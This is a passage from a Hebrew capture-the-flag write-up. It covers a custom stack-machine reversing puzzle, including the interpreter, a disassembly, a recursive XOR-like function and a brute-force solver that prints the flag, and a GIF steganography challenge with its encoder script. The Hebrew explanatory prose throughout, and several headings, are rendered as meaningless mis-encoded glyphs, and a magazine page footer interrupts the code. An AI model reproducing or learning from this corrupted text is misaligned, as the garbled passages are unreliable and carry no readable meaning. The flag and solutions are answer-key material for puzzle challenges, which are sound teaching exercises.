¶ Waits for a single byte to be read from the input, pushes the byte to the top of the stack. 
stack.push(read(stdin)) 

 
Write 

¶ opcode is 0x09 

¶ outputs the top of the stack as ASCII. 
write(stdout, stack.pop()) 

 
 
[Ŝ¢Ωǎ Ǌ¦b ¢ƻƎ9ŀ¢IŜw 
IŜǊŜ ȅƻǳΩƭƭ ŦƛƴŘ ŀƴ ŜȄŜŎǳǘƛƻƴ ƭƻƎ ƻŦ ŀ ǎƛƳǇƭŜ ǇǊƻƎǊŀƳΦ bƻǘŜ ǘƘŀǘ ǘƘŜ ΨΤΩ ǎȅƳōƻƭ ǎǘŀǊǘǎ ŀ ŎƻƳƳŜƴǘ ƭƛƴŜ lines of the form 
άΤ Ҕμ ǾŀƭǳŜм ǾŀƭǳŜн ǾŀƭǳŜоέ ǎƘƻǿ ǘƘŜ ǎǘŀŎƪ ǎǘŀǘŜ ōŜŦƻǊŜ ǘƘŜ following instruction. The stack head is to the left (the first 
value after >| is SP[0]) The stack state inside the called function is a direct continuation of the caller execution 
bƻǘŜ ǘƘŀǘ ά²ƻǊŘΥέ ŘŜŦƛƴŜǎ ŀ ƭŀōŜƭΣ ǿƘƛŎƘ ōŀǎƛŎŀƭƭȅ ƴŀƳŜǎ ŀ ƭƛƴŜ ƻŦ ŎƻŘŜΦ 
;>|  
    Push 2 
;>| 02 
    Push 7F 
;>| 7F 02 
    Read ; assuming user inputs 0x3 
;>| 03 7F 02 
    Push 0A ; OFFSET of Adder 
;>| 0A 03 7F 02 
    Call 
;>| 82 02 
    Divide 
;>| 00 41 
    Swap 1 
;>| 41 00 
    Write 
;>| 00 
    Pop 
;>|  
    Push 0C ; OFFSET of More 
;>| 0C 
    JSE 
;>|  
 
NotReached: 
    Push 4 
    Push 0 
    Sub ; constructs offset of NotReached, which is -4 (0xFC) 
    Call 
 
Adder: 
;>| 05 03 7F 02 
    Load 2 
;>| 7F 05 03 7F 02 
    Load 2 
;>| 03 7F 05 03 7F 02 
    Add 
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;>| 82 05 03 7F 02 
    Swap 3 
;>| 7F 05 03 82 02 
    Pop 
;>| 05 03 82 02 
    Swap 1 
;>| 03 05 82 02 
    Pop 
;>| 05 82 02 
    Ret 
;>| 82 02 
 
More: 
; fill the rest on your own! 
;>|  
    Push 44 
;>|  
    Push 4E 
;>|  
    Push 45 
;>|  
    Push 20 
;>|  
    Write 
;>|  
    Write 
;>|     
    Write 
;>|      
    Write 
 
; Program ends here 
hƴ ǘƘŜ ŘƛǎǇƭŀȅŜŘ ǊǳƴΣ ¢ƘŜ ǇǊƻƎǊŀƳ ǇǊƛƴǘŜŘ ά! 9b5έ Your job is to decipher the code and give us the flag. 
Good Luck! 

:ˡ˶ˣˢ˷ ˳˟ˣ˵ˢ ˭˩ˣ˸ 

 

:˦˲˧˶˵˯ ˫˰ ˸ˣ˪˵˟ ˷ˬˬ˪ ˶˷˲˞ ,˸ˣ˦ˣ˷˲ ˸˧˯˥˧ ˸˧˪˞ˣ˦˶˧ˣˢ ˢˮˣ˩ˬˢ ˷ˣˬ˧ˬ˪ ˸ˣ˞˶ˣˢˢ 

import  mmap,  os ,  sys  

import  struct ,  re  

import  builtins  

import  ctypes  

 

def  memory_map( filename ,  access =mmap. ACCESS_WRITE):  

    size = os . path . getsize ( filename )  

    fd = os . open ( filename ,  os . O_RDWR)  

    return  mmap. mmap( fd ,  size ,  access =access )  

 

OP_PUSH = 0x80  

OP_LOAD = 0x40  

OP_SWAP = 0x20  
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OP_ADD = 0x0  

OP_SUB = 0x1  

OP_MUL = 0x3  

OP_DIV = 0x2  

OP_JUMP = 0x10  

OP_CALL = 0x11  

OP_RET = 0x12  

OP_CJE = 0x14  

OP_JSE = 0x18  

OP_READ = 0x08  

OP_WRITE = 0x09  

 

class  Interpreter ( object ):  

    def  __init__ ( self ):  

        self . stack = []  

        self . ip = 0 

        self . debug = False  

        self . num_reads = 0 

 

    def  log ( self ,  s):  

        if  self . debug :  

            print  ( s)  

 

    def  stack_index ( self ,  index ):  

        return  len ( self . stack )  -  index -  1 

 

    @staticmethod  

    def  signed_num ( num):  

        return  ctypes . c_byte ( num). value  

 

    @staticmethod  

    def  unsigned_num ( num):  

        return  ctypes . c_ubyte ( num). value  

         

 

    def  execute_push ( self ,  current_instruction ):  

        value = current_instruction -  OP_PUSH 

        self . log ( "Push {}" . format ( value ))  

        self . stack . append ( value )  

     

    def  execute_load ( self ,  current_instruction ):  

        value = current_instruction -  OP_LOAD 

        self . log ( "Load {}" . format ( value ))  

        self . stack . append ( self . stack [ self . stack_index ( value )])  

 

    def  execute_swap ( self ,  current_instruction ):  

        value = current_instruction -  OP_SWAP 

        if  value == 0:  

            self . log ( "Pop" )  

            self . stack . pop ()  

        else :  

            self . log ( "Swap {}" . format ( value ))  

            index = self . stack_index ( value )  

            temp = self . stack [ index ]  

            self . stack [ index ]  = self . stack . pop ()  

            self . stack . append ( temp )  

 

    def  execute_add ( self ):  

        self . log ( "Add" )  

        self . stack . append ( self . unsigned_num ( self . signed_num ( self . stack . pop ())  + 

self . signed_num ( self . stack . pop ())))  

 

    def  execute_sub ( self ):  

        self . log ( "Sub" )  

        self . stack . append ( self . unsigned_num ( self . signed_num ( self . stack . pop ())  -  

self . signed_num ( self . stack . pop ())))  
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    def  execute_mul ( self ):  

        self . log ( "Mul" )  

        self . stack . append (  self . unsigned_num (  

 ( self . signed_num ( self . stack . pop ())  *  self . signed_num ( self . stack . pop ()))  % 256 ))  

 

    def  execute_div ( self ):  

        self . log ( "Div" )  

        a = self . stack . pop ()  

        b = self . stack . pop ()  

        self . stack . append ( a //  b)  

        self . stack . append ( a % b)  

 

    def  execute_jump ( self ):  

        self . log ( "Jump" )  

        self . ip = self . ip + self . signed_num ( self . stack . pop ())  

 

    def  execute_call ( self ):  

        self . log ( "Call" )  

        offset = self . stack . pop ()  

        self . stack . append ( self . ip )  # note that IP was already incremented here, 

points to next instruction.  

        self . ip = self . ip + self . signed_num ( offset )  

        #self.ip = self.ip + offset #Already signed?  

 

    def  execute_ret ( self ):  

        self . log ( "Ret" )  

        self . ip = self . stack . pop ()  

 

    def  execute_cje ( self ):  

        self . log ( "CJE" )  

        offset = self . stack . pop ()  

        if  self . stack . pop ()  == self . stack . pop ():  

            self . ip = self . ip + self . signed_num ( offset )  

            #self.ip = self.ip + offset #Already signed?  

 

    def  execute_jse ( self ):  

        self . log ( "JSE" )  

        offset = self . stack . pop ()  

        if  len ( self . stack )  == 0:  

            self . ip = self . ip + offset  

 

    def  execute_read ( self ):  

        self . log ( "Read" )  

        input_byte_str = input ( "Please input byte in format 0xab: " )  

        input_byte = int ( input_byte_str ,  16)  

        print  ( input_byte )  

        self . stack . append ( input_byte )  

        self . num_reads += 1 

 

    def  execute_write ( self ):  

        self . log ( "Write" )  

        b = self . stack . pop ()  

        #sys.stdout.write(chr(b))  

        print ( " \ t -- > \ t'"  + chr ( b)  + "'" )  

 

    def  print_stack ( self ):  

        if  self . debug :  

            sys . stdout . write ( ";>| " )  

            for  n in  reversed ( self . stack ):  

                sys . stdout . write ( "{:02X} " . format ( n))  

            sys . stdout . write ( " \ n" )  

 

    def  execute ( self ,  path_to_code ):  

        self . code = memory_map( path_to_code ,  mmap. ACCESS_READ)  

        while  self . ip !=  len ( self . code ):  
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            #assert(self.num_reads <= 1)  

            self . print_stack ()  

            current_instruction = self . code [ self . ip ]  

            self . ip += 1 

            if  current_instruction & OP_PUSH:  

                self . execute_push ( current_instruction )  

            elif  current_instruction & OP_LOAD:  

                self . execute_load ( current_instruction )  

            elif  current_instruction & OP_SWAP:  

                self . execute_swap ( current_instruction )  

            elif  current_instruction == OP_ADD:  

                self . execute_add ()  

            elif  current_instruction == OP_SUB:  

                self . execute_sub ()  

            elif  current_instruction == OP_MUL:  

                self . execute_mul ()  

            elif  current_instruction == OP_DIV:  

                self . execute_div ()  

            elif  current_instruction == OP_JUMP:  

                self . execute_jump ()  

            elif  current_instruction == OP_CALL:  

                self . execute_call ()  

            elif  current_instruction == OP_RET:  

                self . execute_ret ()  

            elif  current_instruction == OP_CJE:  

                self . execute_cje ()  

            elif  current_instruction == OP_JSE:  

                self . execute_jse ()  

            elif  current_instruction == OP_READ:  

                self . execute_read ()  

            elif  current_instruction == OP_WRITE:  

                self . execute_write ()  

:˪˟˵ˮˣ ˡˣ˵ˢ ˸˞ ˳˧˶ˮ 

Please input byte in  format 0xab :  

:˸˧˞˶˵˞ ˢ˯ˮˮ 

Please input byte in  format 0xab :  0x00  

0 

     -- >    '0'  

.ˢ˴ˣ˶ ˢˮ˩ˣ˸ˢ ˵ˣ˧ˡ˟ ˢˬ ˶˸ˣ˧ ˟ˣ˦ ˭˧˟ˢ˪ ˨˶˦˴ˮ :˧˯˧˯˟ ˶˪˟ˬ˯˞˯˧ˡ ˟ˣ˸˩˪ ˭ˬˤ 

     def  disassemble ( self ,  path_to_code ):  

        self . code = memory_map( path_to_code ,  mmap. ACCESS_READ)  

        for  i in  range ( len ( self . code )):  

            current_instruction = self . code [ i ]  

            sys . stdout . write ( "{:02X} \ t{:02X} \ t" . format ( i ,  current_instruction ))  

            if  current_instruction & OP_PUSH:  

                print ( "Push 0x{:02X}" . format ( current_instruction -  OP_PUSH))  

            elif  current_instruction & OP_LOAD:  

                print ( "Load 0x{:02X}" . format ( current_instruction -  OP_LOAD))  

            elif  current_instruction & OP_SWAP:  

                if  current_instruction == OP_SWAP:  

                    print ( "Pop" )  

                else :  

                    print ( "Swap 0x{:02X}" . format ( current_instruction -  OP_SWAP))  

            elif  current_instruction == OP_ADD:  

                print ( "Add" )  

            elif  current_instruction == OP_SUB:  

                print ( "Sub" )  

            elif  current_instruction == OP_MUL:  

                print ( "Mul" )  

            elif  current_instruction == OP_DIV:  
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                print ( "Divide" )  

            elif  current_instruction == OP_JUMP:  

                print ( "Jump" )  

            elif  current_instruction == OP_CALL:  

                print ( "Call" )  

            elif  current_instruction == OP_RET:  

                print ( "Ret" )  

            elif  current_instruction == OP_CJE:  

                print ( "CJE" )  

            elif  current_instruction == OP_JSE:  

                print ( "JSE" )  

            elif  current_instruction == OP_READ:  

                print ( "Read" )  

            elif  current_instruction == OP_WRITE:  

                print ( "Write" )  

:˪˟˵ˮˣ ˳˧˶ˮ 

00  BF  Push  0x3F  

01  C2  Push  0x42  

02  85  Push  0x05  

03  CB  Push  0x4B 

04  A2  Push  0x22  

05  CE  Push  0x4E 

06  82  Push  0x02  

07  B2  Push  0x32  

08  E0  Push  0x60  

09  87  Push  0x07  

0A  C9  Push  0x49  

0B  A0  Push  0x20  

0C  CC  Push  0x4C 

0D  A0  Push  0x20  

0E  CF  Push  0x4F  

0F  9D  Push  0x1D 

10  FA  Push  0x7A 

11  94  Push  0x14  

12  FD  Push  0x7D 

13  91  Push  0x11  

14  FD  Push  0x7D 

15  92  Push  0x12  

16  C0  Push  0x40  

17  87  Push  0x07  

18  E9  Push  0x69  

19  80  Push  0x00  

1A  EC  Push  0x6C 

1B  A0  Push  0x20  

1C  CF  Push  0x4F  

1D  9D  Push  0x1D 

1E  CF  Push  0x4F  

1F  A0  Push  0x20  

20  F8  Push  0x78  

21  83  Push  0x03  

22  E4  Push  0x64  

23  85  Push  0x05  

24  E9  Push  0x69  

25  8F  Push  0x0F  

26  8B  Push  0x0B 

27  18  JSE 

28  08  Read 

29  8C  Push  0x0C 

2A  11  Call  

2B  41  Load 0x01  

2C  8A  Push  0x0A 

2D  80  Push  0x00  

2E  01  Sub 

2F  14  CJE 
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30  B0  Push  0x30  

31  81  Push  0x01  

32  10  Jump 

33  B1  Push  0x31  

34  09  Write  

35  AF  Push  0x2F  

36  10  Jump 

37  42  Load 0x02  

38  42  Load 0x02  

39  80  Push  0x00  

3A  A5  Push  0x25  

3B  14  CJE 

3C  42  Load 0x02  

3D  21  Swap 0x01  

3E  80  Push  0x00  

3F  A0  Push  0x20  

40  14  CJE 

41  80  Push  0x00  

42  21  Swap 0x01  

43  44  Load 0x04  

44  9B  Push  0x1B 

45  14  CJE 

46  20  Pop 

47  82  Push  0x02  

48  42  Load 0x02  

49  02  Divide  

4A  82  Push  0x02  

4B  45  Load 0x05  

4C  02  Divide  

4D  21  Swap 0x01  

4E  22  Swap 0x02  

4F  00  Add 

50  82  Push  0x02  

51  21  Swap 0x01  

52  02  Divide  

53  21  Swap 0x01  

54  20  Pop 

55  42  Load 0x02  

56  42  Load 0x02  

57  A4  Push  0x24  

58  80  Push  0x00  

59  01  Sub 

5A  11  Call  

5B  82  Push  0x02  

5C  03  Mul  

5D  00  Add 

5E  22  Swap 0x02  

5F  20  Pop 

60  20  Pop 

61  23  Swap 0x03  

62  20  Pop 

63  21  Swap 0x01  

64  20  Pop 

65  12  Ret  

.ˢ˸˰ ˸˰˪ ˣ˧˪˰ ˠ˪ˡ˪ ˶˷˲˞ˣ ,ˢ˴˶ˢ˪ ˸˧ˮ˯˥ˬˢ ˸˞ ˭˧˩ˬ ˪˩ˢ ˨˯˟ ˭ˣ˷˞˶ˢ ˵˪˥ˢ 
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:˸ˣ˶˰ˢ ˸˲˯ˣˢ ˧˶˥˞ ,˧ˮ˷ˢ ˵˪˥ˢ ˢ˞˶ˮ ˨˩ 

label4 :  

26      8B      Push  0x0B 

27      18      JSE  ; to label1 -  jumps only when one value is left on the stack  

28      08      Read 

29      8C      Push  0x0C 

2A      11      Call  ; to label2  

2B      41      Load 0x01  

2C      8A      Push  0x0A 

2D      80      Push  0x00  

2E      01      Sub 

2F      14      CJE  ; to label4  

30      B0      Push  0x30  

31      81      Push  0x01  

32      10      Jump ; to label5  

label1 :  

33      B1      Push  0x31  

label5 :  

34      09      Write  

35      AF      Push  0x2F  

36      10      Jump ; to label6  

label2 :  

37      42      Load 0x02  ; Take top of payload  

38      42      Load 0x02  ; Take input  

39      80      Push  0x00  

3A      A5      Push  0x25  ; Address of label3  

3B      14      CJE  ; to label3 ; Jump to label3 if input == 0  

3C      42      Load 0x02  ; Take input  

3D      21      Swap 0x01  ; Take top of payload  

3E      80      Push  0x00  ;  

3F      A0      Push  0x20  ; Address of label3  

40      14      CJE  ; to label3 ; Jump to label3 if top of payload == 0  

41      80      Push  0x00  

42      21      Swap 0x01  ; Take input  

43      44      Load 0x04  ; Take top of payload  

44      9B      Push  0x1B  ; Address of label3  

45      14      CJE  ; to label3 ; Jump to label3 if input == top of payload  

46      20      Pop  ; Pop 0  

47      82      Push  0x02    

48      42      Load 0x02  ; Take input  

49      02      Div   ; input / 2  

4A      82      Push  0x02    

4B      45      Load 0x05  ; Take top of payload  

4C      02      Div   ; Top of payload  / 2  

4D      21      Swap 0x01  ; Take div(top of payload / 2)  

4E      22      Swap 0x02  ; Take mod(input / 2)  

4F      00      Add  ; div(top of payload / 2) + mod(input / 2)  

50      82      Push  0x02    

51      21      Swap 0x01  ; Take div(top of payload / 2) + mod(input / 2)  

52      02      Div   ; ( div(top of payload / 2) + mod(input / 2) ) / 2  

53      21      Swap 0x01  ; Take div( div(top of payload / 2) + mod(input / 2) ) / 2  

54      20      Pop  ; Ignore div( div(top of payload / 2) + mod(input / 2) ) / 2, take  

    ; mod( div(top of payload / 2) + mod(input / 2) ) / 2  

55      42      Load 0x02  ; Take div (input / 2)  

56      42      Load 0x02  ; Take div (top of payload / 2)  

57      A4      Push  0x24  

58      80      Push  0x00  

59      01      Sub  ; Offset of label2  

5A      11      Call  ; to label2  

5B      82      Push  0x02  

5C      03      Mul   ; ret * 2  

5D      00      Add  ; (ret * 2) + (mod( mod(top of payload / 2) + mod(input / 2) ) / 2)  

5E      22      Swap 0x02  ; Take div(input / 2)  

5F      20      Pop  ;  

60      20      Pop  ; Stack: div (top  of payload / 2) * 2  
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label3 :    ;  

61      23      Swap 0x03  ;  

62      20      Pop  ;  

63      21      Swap 0x01  ;  

64      20      Pop  ;  

label6 :    ;  

65      12      Ret   ; Return param[0]?  

:˸˧˪˧˰ ˢ˲˷˟ ˡˣ˵ˢ ˸˞ ˶ˤ˥˷˪ ˸ˣ˯ˮ˪ ˶˷˲˞ ˸˰˩ 

def  unknown_function ( input ,  top_of_payload ):  

    if  input == 0:  

        return  top_of_payload  

    elif  top_of_payload == 0:  

        return  input  

    elif  top_of_payload == input :  

        return  0 

 

    temp = unknown_function ( top_of_payload //  2,  input //  2)   

    temp *=  2 

    temp += ((  ( top_of_payload % 2)  + ( input % 2)  )  % 2)  

    return  temp  
 

 ˫˞ .˸˧ˮ˯˥ˬˢ ˪˰ ˶ˣˬ˷˷ ˨˶˰ˢ ˪˞ ˷ˬ˸˷ˬˢˬ ˦˪˵ˢ ˸˞ ˢˣˣ˷ˬˣ ,˸˧ˮ˯˥ˬˢ ˷˞˶ ˪˰ ˪˰ˣ˲ ˢˤˢ ˡˣ˵ˢ

 ˞˪ ˫˞ˣ ,ˢ˞˟ˢ ˢ˧˴˶˦˧˞˪ ˫˧˩˧˷ˬˬ ,˭ˣ˩ˮ ˨˶˰ˢ- .˫˧˞˴ˣ˧ 

 ˳˧˶ˮˣ ˸˧ˮ˯˥ˬˢ ˭˩ˣ˸ ˸˞ ˵˧˸˰ˮ ,ˣ˪ ˢ˲˴ˬ ˢˮ˩ˣ˸ˢ˷ ˦˪˵ˢ ˢˬ ˸˰ˡ˪ ˧ˡ˩ ,˭˩˪Brute Force  ˪˩ ˪˰

˸ˣ˧ˣ˶˷˲˞ˢ: 

stack = "0F 69 05 64 03 78 20 4F 1D 4F 20 6C 00 69 07 40 12 7D 11 7D 14 7A 1D 4F 

20 4C 20 49 07 60 32 02 4E 22 4B 05 42 3F" . split ( " " )  

stack = [ int ( x,  16)  for  x in  stack ]  

stack . reverse ()  

 

while  len ( stack )  > 1:  

    top_of_stack = stack . pop ()  

    for  i in  range ( 256 ):  

        if  unknown_function ( i ,  top_of_stack )  == stack [ - 1]:  

            sys . stdout . write ( chr ( i ))  

            break  

:˞˧ˢ ˢ˞˴ˣ˸ˢ 

flag { XoRRoLlinGRollingRolliNgR0LliNG }  
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˶ˠ˸˞ 11: Bowsers Secret Message )˸˧˧˶ˣˠ˦˵ Reversing ,85 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˶ˣ˞˧˸ 

²Ŝ ǳƴŎƻǾŜǊŜŘ .ƻǿǎŜǊΩǎ ƻƭŘ ƭŀǇǘƻǇΗ 

Everything was wiped except for 3 files, he must have used them to send his evil henchmen --Steganos & 

Graphein -- a secret message. 

Help us! 

:˫ˢ ˫˧˲˶ˣ˴ˬˢ ˫˧˴˟˵ˢ 

1. Secret.gif - ˳˟ˣ˵ GIF ˷˲ˮˣˬ ˥˸˲ˮ˷ ˞˪˪ ˢ˧˰˟ 

2. Enc.py - ˦˲˧˶˵˯ ˸ˮ˲˴ˢ˪ ˶˯ˬ ˧ˡˣ˯ ˨ˣ˸˟ ˳˟ˣ˵ GIF 

3. Lzwlib.py - ˦˲˧˶˵˯ ˶ˤ˰ ˰ˣ˴˧˟˪ ˢ˯˧˥ˡ 

 ˳˟ˣ˵ˢ ˭˩ˣ˸enc.py: 

from  __future__ import  print_function  

from  random import  randint ,  shuffle  

import  sys  

from  struct import  unpack ,  pack as  pk  

from  io import  BytesIO as  BIO 

import  lzwlib  

 

up = lambda  * args :  unpack (* args )[ 0]  

 

 

def  F( f ):  

    assert  f . read ( 3)  == 'GIF' ,  ''  

    assert  f . read ( 3)  == '89a' ,  ''  

    w,  h = unpack ( 'HH' ,  f . read ( 4))  

 

    assert  32 <= w <= 500 ,  ''  

    assert  32 <= h <= 500 ,  ''  

    logflags = up( 'B' ,  f . read ( 1))  

 

    assert  logflags & 0x80 ,  ''  

    size_count = logflags & 0x07  

 

    gct_count = 2**( size_count +1)  

    assert  4 <= gct_count <= 256 ,  ''  

 

    bgcoloridx = up( 'B' ,  f . read ( 1))  

    f . seek ( 1,  1)  

    clrs = []  

    for  i in  xrange ( gct_count ):  

        clr = ( up( 'B' ,  f . read ( 1)),  up( 'B' ,  f . read ( 1)),  up( 'B' ,  f . read ( 1)))  

        clrs . append ( clr )  

 

    assert  len ( clrs )  > bgcoloridx ,  ''  

    return  clrs ,  bgcoloridx ,  size_count ,  h,  w 

 

 

class  T( object ):  

    I = 0 

    EG = 1 

    EA = 2 

    EC = 3 

    ET = 4 

 

 

def  C( f ):  

    rb = f . read ( 1)  

    b = up( 'B' ,  rb )  

https://s3.eu-central-1.amazonaws.com/csh-static/bowsers_secret_message/03ec7cde31b7b82edd610e755c280662561c054631a397549159416aeb19fc14.zip
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    while  b !=  0x3B:  

        buf = ''  

        buf += rb  

        if  b == 0x2c :  

            nbuf = f . read ( 2* 4)  

            eb = f . read ( 1)  

            assert  ( up( 'B' ,  eb)  & 0x03 )  == 0,  ''  

            nbuf += eb 

 

            nbuf += f . read ( 1)  

            nbuf += V( f )  

            t = T. I  

        elif  b == 0x21 :  

            rb = f . read ( 1)  

            buf += rb  

            b = up( 'B' ,  rb )  

 

            if  b == 0xF9 :  

                nbuf = f . read ( 1)  

                blksize = up( 'B' ,  nbuf )  

                nbuf += f . read ( blksize )  

                nbuf += f . read ( 1)  

                assert  nbuf [ - 1]  == ' \ x00' ,  ''  

                t = T. EG 

            elif  b in  [ 0xFF,  0x01 ]:  

                nbuf = f . read ( 1)  

                blksize = up( 'B' ,  nbuf )  

                nbuf += f . read ( blksize )  

                nbuf += V( f )  

 

                t = ( b+3)  & 0x0F  

            elif  b == 0xFE:  

                nbuf = V( f )  

 

                t = T. EC 

            else :  

                raise  Exception ( "unsupprted thing @{}" . format ( f . tell ()))  

 

        buf += nbuf  

 

        yield  t ,  buf  

        rb = f . read ( 1)  

        b = up( 'B' ,  rb )  

 

    yield  None,  ' \ x3B'  

 

    raise  StopIteration  

 

 

def  WB( buf ):  

    blockcount = len ( buf )/ 0xFF 

    blockcount += 1 if  len ( buf )  % 0xFF else  0 

 

    blocks = [  

        pk ( 'B' ,  len ( subblock ))+ subblock for  subblock in  [  

            buf [ i : 0xFF+i ]  for  i in  xrange ( 0,  blockcount * 0xFF,  0xFF)  

        ]  

    ]  

 

    return  '' . join ( blocks )  + ' \ x00'  

 

 

def  k( bf ):  

    combined_buf = ''  

    while  True :  

        cb = ord ( bf . read ( 1))  

        if  not  cb :  

            break  

 

        combined_buf += bf . read ( cb )  

    return  combined_buf  
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def  V( f ):  

    sbx = ''  

    while  True :  

        rcb = f . read ( 1)  

        sbx += rcb  

        if  rcb == ' \ x00' :  

            break  

 

        cb = up( 'B' ,  rcb )  

        blk = f . read ( cb )  

        sbx += blk  

 

    return  sbx  

 

 

def  Q( delay ,  w,  h,  x,  y,  tidx ):  

 

    assert  0 <= tidx <= 255  

    assert  0 <= delay < 2** 16 

 

    indices = [ tidx ]*( w* h)  

    buf = BIO( '' )  

 

    buf . write ( ' \ x21 \ xF9 \ x04 \ x05' )  

    buf . write ( pk ( 'H' ,  delay ))  

    buf . write ( pk ( 'B' ,  tidx ))  

    buf . write ( ' \ x00' )  

 

    buf . write ( ' \ x2c' )  

    buf . write ( pk ( 'H' ,  x))  

    buf . write ( pk ( 'H' ,  y))  

    buf . write ( pk ( 'H' ,  w))  

    buf . write ( pk ( 'H' ,  h))  

    buf . write ( ' \ x00' )  

 

    LZWMinimumCodeSize = 8 

 

    cmprs ,  _ = lzwlib . Lzwg. compress (  

        indices ,  LZWMinimumCodeSize )  

 

    obuf = pk ( 'B' ,  LZWMinimumCodeSize )  + WB( cmprs )  

 

    buf . write ( obuf )  

    buf . seek ( 0)  

    return  buf . read ()  

 

 

def  z( n):  

    import  math  

    for  i in  xrange ( 1,  int ( math . sqrt ( n)  + 1)):  

        if  n % i == 0:  

            yield  i  

 

 

def  m( a,  mm,  hh):  

    if  a < 0x08 :  

        if  a % 2:  

            _0 = 0 

            _1 = 1 

            _4 = a << 2 

            _3 = randint ( 4,  mm- 1)  

        else :  

            _0 = 1 

            _1 = a << 1 

            _3 = randint ( 4,  mm/ 2)  

            _4 = randint ( 4,  hh/ 3)  

    else :  

        ds = list ( z( a))  

        _0 = 0 

        _1 = 0 

        shuffle ( ds )  

        _4 = ds [ 0]  

        assert  a % _4 == 0 

        _3 = a/ _4 
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    return  _0,  _1,  _3,  _4 

 

 

def  h( b6,  b1,  mw,  mh,  mci ,  d=3):  

    idx = randint ( 0,  ( mci - 1)/ 2)* 2 + b1 

    x,  xx ,  xxx ,  xxxx = m( b6,  mw,  mh)  

    f = Q( d,  xxx ,  xxxx ,  x,  xx ,  idx )  

    return  f  

 

 

def  M( s):  

    l = list ( set ( s. upper ()))  

    shuffle ( l )  

    d = '' . join ( l )  

    assert  len ( d)  <= 2** 6,  ''  

    return  d,  [( d. index ( c. upper ()),  int ( c. isupper ()))  for  c in  s]  

 

 

def  E( f ,  s,  o):  

    global_colors ,  bgcoloridx ,  size_count ,  hh,  ww = F( f )  

    mp,  ks = M( s)  

    hdr_end = f . tell ()  

    f . seek ( 0)  

    o. write ( f . read ( hdr_end ))  

    fc = 0 

 

    o. write ( ' \ x21 \ xFE' )  

    o. write ( WB( 'RDBNB' +mp))  

    o. flush ()  

 

    for  t ,  buf in  C( f ):  

        print ( '.' ,  end='' )  

        if  t == T. EC:  

            continue  

        if  t == T. EG:  

            if  ks :  

                delay = up( '<H' ,  buf [ 4: 6])  

                assert  delay >= 6 

                buf = buf [: 4]  + pk ( '<H' ,  delay -  3)  + buf [ 6:]  

            obuf = buf  

 

        elif  t == T. I :  

            fc += 1 

            total_raw_blocks_data = ''  

            bf = BIO( buf )  

            pref = bf . read ( 10)  

 

            LZWMinimumCodeSize = ord ( bf . read ( 1))  

            total_raw_blocks_data = k( bf )  

 

            indices ,  dcmprsdcodes = lzwlib . Lzwg. decompress (  

                total_raw_blocks_data ,  LZWMinimumCodeSize )  

            xxx = unpack ( '<B H H H H B' ,  pref )  

 

            cmprs ,  codes = lzwlib . Lzwg. compress (  

                indices ,  LZWMinimumCodeSize )  

 

            obuf = pref + pk ( 'B' ,  LZWMinimumCodeSize )  + WB( cmprs )  

 

            if  ks :  

                mpindx ,  isup = ks . pop( 0)  

                obuf += h( mpindx ,  isup ,  

                          ww,  hh,  len ( global_colors ) - 1)  

        else :  

            obuf = buf  

 

        o. write ( obuf )  

    o. flush ()  

    assert  not  ks ,  ''  

 

    return  0 

 

 



 
 

˧˶ˠ˸˞ Check Point 2018 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ100 , ˶˟ˬ˟ˣˮ2018  96 
 

if  __name__ == '__main__' :  

    assert  len ( sys . argv )  > 2,  'bad input'  

    fpath = sys . argv [ 1]  

    flag = sys . argv [ 2]  

    if  len ( sys . argv )  > 3:  

        outpath = sys . argv [ 3]  

    else :  

        outpath = fpath + '.out.gif'  

 

    f = open ( fpath ,  'rb' )  

    o = open ( outpath ,  'wb' )  

    rv = E( f ,  flag ,  o)  

    sys . exit ( rv )  

 ˸˧˧˴˵ˮˣ˲˪ ˶˦ˬ˶˲˩ ˪˟˵˸ˬ ˪ˠˡˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮE˪ ˣ˸ˣ˞ ˸˥˪ˣ˷ ˢ˶ˣ˸˟˷ ,-M: 

mp,  ks = M( s)  

 ˸˧˧˴˵ˮˣ˲M :˪ˠˡˢ ˪˷ ˶˥˞ ˠˣ˴˧˧ ˸˶˴˧˧ˬ 

def  M( s):  

    l = list ( set ( s. upper ()))  

    shuffle ( l )  

    d = '' . join ( l )  

    assert  len ( d)  <= 2** 6,  ''  

    return  d,  [( d. index ( c. upper ()),  int ( c. isupper ()))  for  c in  s ]  

 ˶ˣ˸˟ ˠ˴ˣ˧ˬ ˪ˠˡˢset  ˸ˣ˞ ˪˩ ˸ˣˡˣ˞ ˫˧ˮˣ˸ˮ ˧ˮ˷ ˫˧˪˧˩ˬ˷ ˸ˣˠˣˤ ˪˷ ˨˶˰ˬ ˫˰ ˡ˥˧ ,˪ˠˡ˟ ˸ˣ˧˸ˣ˞ˢ ˪˷

˟ ˸ˣ˞ˢ ˪˷ ˢˬˣ˵˧ˬ ˣˢˬ :˪ˠˡ˟-setˢ˪ˣˡˠ ˸ˣ˞ ˣˤ ˫˞ˢˣ , .ˢˮ˦˵ ˣ˞ 

ˢ ˸˞-set .ˢˮˣˬ˸ˢ ˨ˣ˸˟ ˫˧ˮˣ˷ ˸ˣˬˣ˵ˬ˟ ˣ˞˧˟˥˧ ˨˶˰ˬˢˣ ˢ ˸˞-set  ˞˶˵ˮ˷)mp:˞ˣ˴ˬ˪ ˪˵ (     

    o. write ( ' \ x21 \ xFE' )  

    o. write ( WB( 'RDBNB' +mp))  

    o. flush ()  

:ˢˮˣˬ˸ˢ ˭˩ˣ˸˟ˣ 

 

ˢ ,˶ˬˣ˪˩-set :˞ˣˢ ˣˮ˪˷ 

{ UFKRAYWS} TLMGI! EO_H 

.˨˶˰ˬˢ ˫ˣ˵˧ˬ ˸˞ ˥˴˲˪ ˶˞˷ˮ ˸˰˩ ˨˶˰ˬˢ )ks:˞˟ˢ ˡˣ˵˟ ˢˮ˲˴ˢˢ ˨˧˪ˢ˸ ˸˞ ˪˧˥˸ˬ ( 

if  ks :  

   mpindx ,  isup = ks . pop ( 0)  

   obuf += h( mpindx ,  isup ,  ww,  hh,  len ( global_colors ) - 1)  

) ˣ˪˷ ˫˧ˬ˶ˣˠˢ ˧ˮ˷˪ ˵˶ˣ˲ˬ ˞ˣˢmpindex, isup ˸˧˧˴˵ˮˣ˲˪ ˥˪˷ˮˣ (h. 

def  h( b6,  b1,  mw,  mh,  mci ,  d=3):  

    idx = randint ( 0,  ( mci - 1)/ 2)* 2 + b1 

    x ,  xx ,  xxx ,  xxxx = m( b6,  mw,  mh)  

    f = Q( d,  xxx ,  xxxx ,  x,  xx ,  idx )  

    return  f  
